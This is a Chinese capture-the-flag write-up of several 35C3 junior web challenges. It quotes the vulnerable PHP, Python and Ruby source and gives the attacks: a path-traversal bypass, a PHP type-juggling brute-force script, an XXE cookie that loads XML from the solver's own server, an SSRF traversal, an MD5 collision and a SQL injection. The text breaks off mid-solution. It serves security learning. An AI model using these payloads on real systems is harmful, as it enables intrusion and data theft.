35c3CTF junior 部分web wp

安恒网络空间安全讲武堂

发布于 2019-09-27 19:41:58

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发布于 2019-09-27 19:41:58

文章被收录于专栏：安恒网络空间安全讲武堂安恒网络空间安全讲武堂

flags

进入题目

<?php
  highlight_file(__FILE__);
  $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';
  $lang = explode(',', $lang)[0];
  $lang = str_replace('../', '', $lang);
  $c = file_get_contents("flags/$lang");
  if (!$c) $c = file_get_contents("flags/ot");
  echo '<img src="data:image/jpeg;base64,' . base64_encode($c) . '">';

很简单双写绕过一下就好了

可以看到图片的base64 解码一下

签到题

凯撒加密跑一下就有了

McDonald

访问之后可以在robots.txt发现有

将.DS_Store里面的东西下载下来

可以看到有个flag.txt 访问一下

logged in

在登录的时候可以抓到一个包

包里面有登录的验证吗

在登录之后能在cookie里面找到自己的flag (找了挺久)

saltfish

<?php
  require_once('flag.php');
  if ($_ = @$_GET['pass']) {
    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (md5($_) + $_[0] == md5($ua)) {
      if ($_[0] == md5($_[0] . $flag)[0]) {
        echo $flag;
      }
    }
  } else {
    highlight_file(__FILE__);
  }

一眼就看到两个弱等于而且\$和\$ua都是可控的先过第一条 md5($_)+$_[0]==md5($ua) 因为 $_是个数组所以md5($_)是null获得的值其实是\$[0] 不过flag的值是不知道的最后 $_[0]==md5($_[0].$flag)[0]只能靠暴力破解了

import requests

url = "http://35.207.89.211/?pass[]=0e"

headers = {
    'Host': '35.207.89.211',
    'User-Agent': 'QNKCDZO',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'www.ckj123.com'
}

for i in xrange(100):
    html = requests.get(url+str(i))
    if '35c3' in html.content:
        break

print html.text

怎么感觉我是非预期=。=

blind

源码2333我喜欢

<?php
  function __autoload($cls) {
    include $cls;
  }

  class Black {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#0d0d0d");
      if ($default) ini_set("highlight.default", "#0d0d0d");
      if ($keyword) ini_set("highlight.keyword", "#0d0d0d");

      if ($store) {
            setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }

  class Green {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#00fb00");
      if ($default) ini_set("highlight.default", "#00fb00");
      if ($keyword) ini_set("highlight.keyword", "#00fb00");

      if ($store) {
            setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }

  if ($_=@$_GET['theme']) {
    if (in_array($_, ["Black", "Green"])) {
      if (@class_exists($_)) {
        ($string = @$_GET['string']) || $string = false;
        ($default = @$_GET['default']) || $default = false;
        ($keyword = @$_GET['keyword']) || $keyword = false;

        new $_($string, $default, $keyword, @$_GET['store']);
      }
    }
  } else if ($_=@$_COOKIE['theme']) {
    $args = explode('-', $_);
    if (class_exists($args[0])) {
      new $args[0]($args[1], $args[2], $args[3], '');
    }
  } else if ($_=@$_GET['info']) {
    phpinfo();
  }

  highlight_file(__FILE__);

问了下辉神辉神给了我一个函数 SimpleXMlElement

让他的data is url 为true允许加载url的xml 很明显是XXE 在自己服务器上写一个xml cookie是这个就可以了 theme=SimpleXMlElement-http://服务器路径/1.xml-2-true 差不多的 https://mochazz.github.io/2018/07/08/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1Day3%20-%20%E5%AE%9E%E4%BE%8B%E5%8C%96%E4%BB%BB%E6%84%8F%E5%AF%B9%E8%B1%A1%E6%BC%8F%E6%B4%9E/

Not(e) accessible

入手发现只有两个功能看自己的文章和写文章

然后id和pw都是随机数想着应该有源码泄露

果然在页面里面找到了之后拿到源码

<?php
    require_once "config.php";

    if(isset($_POST['submit']) && isset($_POST['note']) && $_POST['note']!="") {
        $note = $_POST['note'];

        if(strlen($note) > 1000) {
            die("ERROR! - Text too long");
        }

        if(!preg_match("/^[a-zA-Z]+$/", $note)) {
            die("ERROR! - Text does not match /^[a-zA-Z]+$/");
        }

        $id = random_int(PHP_INT_MIN, PHP_INT_MAX);
        $pw = md5($note);

        # Save password so that we can check it later
        file_put_contents("./pws/$id.pw", $pw); 

        file_get_contents($BACKEND . "store/" . $id . "/" . $note);

        echo '<div class="shadow-sm p-3 mb-5 bg-white rounded">';
            echo "<p>Your note ID is $id<br>";
            echo "Your note PW is $pw</p>";

            echo "<a href='/view.php?id=$id&pw=$pw'>Click here to view your note!</a>";
        echo '</div>';
    }
?>

<?php header("Content-Type: text/plain"); ?>
<?php 
    require_once "config.php";
    if(isset($_GET['id']) && isset($_GET['pw'])) {
        $id = $_GET['id'];
        if(file_exists("./pws/" . (int) $id . ".pw")) {
            if(file_get_contents("./pws/" . (int) $id . ".pw") == $_GET['pw']) {
                echo file_get_contents($BACKEND . "get/" . $id);
            } else {
                die("ERROR!");
            }
        } else {
            die("ERROR!");
        }
    }
?>

require 'sinatra'
set :bind, '0.0.0.0'

get '/get/:id' do
    File.read("./notes/#{params['id']}.note")
end

get '/store/:id/:note' do 
    File.write("./notes/#{params['id']}.note", params['note'])
    puts "OK"
end 

get '/admin' do
    File.read("flag.txt")
end

/../../admin

collier

还是没啥东西然后再看看源码果然给了源码

下载下来最主要的地方在这

<?php
    include_once "config.php";
    if(isset($_POST['submit']))  {
            $pdf1 = $_FILES['pdf1']['tmp_name'];
            $pdf2 = $_FILES['pdf2']['tmp_name'];

            if(! strstr(shell_exec("pdftotext $pdf1 - | head -n 1 | grep -oP '^NO FLAG!$'"), "NO FLAG!")) {
                die("The first pdf does not contain 'NO FLAG!'");
            }

            if(! strstr(shell_exec("pdftotext $pdf2 - | head -n 1 | grep -oP '^GIVE FLAG!$'"), "GIVE FLAG!")) {
                die("The second pdf does not contain 'GIVE FLAG!'");
            }

            if(md5_file($pdf1) != md5_file($pdf2)) {
                die("The MD5 hashes do not match!");
            }

            echo "$FLAG";

    }
?>

这个表示只能一行

一直以为是弱等于的原因感谢smi1e师傅的指点~ 直接用https://github.com/cr-marcstevens/hashclash 这个的工具就可以了=。= 生成两个MD5一样的

DB Serect

英语不好吃亏呀=。= 后来才知道这道题有源码，之前都不知道该怎么下手。。访问 view-source:http://35.207.132.47/pyserver/server.py 拿到源码

可以看到很多地方都是问号拼接进去的，但是明显有个地方不是问号拼接进去的

@app.route("/api/getprojectsadmin", methods=["POST"])
def getprojectsadmin():
    # ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class);
    # ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset));
    name = request.cookies["name"]
    token = request.cookies["token"]
    user, username, email, usertype = user_by_token(token)

    json = request.get_json(force=True)
    offset = json["offset"]
    sorting = json["sorting"]

    if name != "admin":
        raise Exception("InvalidUserName")

    sortings = {
        "newest": "created DESC",
        "oldest": "created ASC",
        "lastmodified": "lastModified DESC"
    }
    sql_sorting = sortings[sorting]

    if not offset:
        offset = datetime.datetime.now()

    return jsonify_projects(query_db(
        "SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' "
        "ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin")

首先登陆admin